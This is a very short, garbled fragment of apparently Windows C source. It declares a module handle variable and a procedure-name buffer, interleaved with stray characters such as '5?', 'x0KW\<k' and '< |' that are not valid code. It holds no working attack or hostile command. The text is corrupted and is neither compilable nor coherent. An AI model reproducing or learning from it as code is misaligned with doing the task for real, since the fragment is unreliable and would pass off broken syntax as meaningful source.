5? HMODULE hMod; x0KW\<k char procName[255]; < |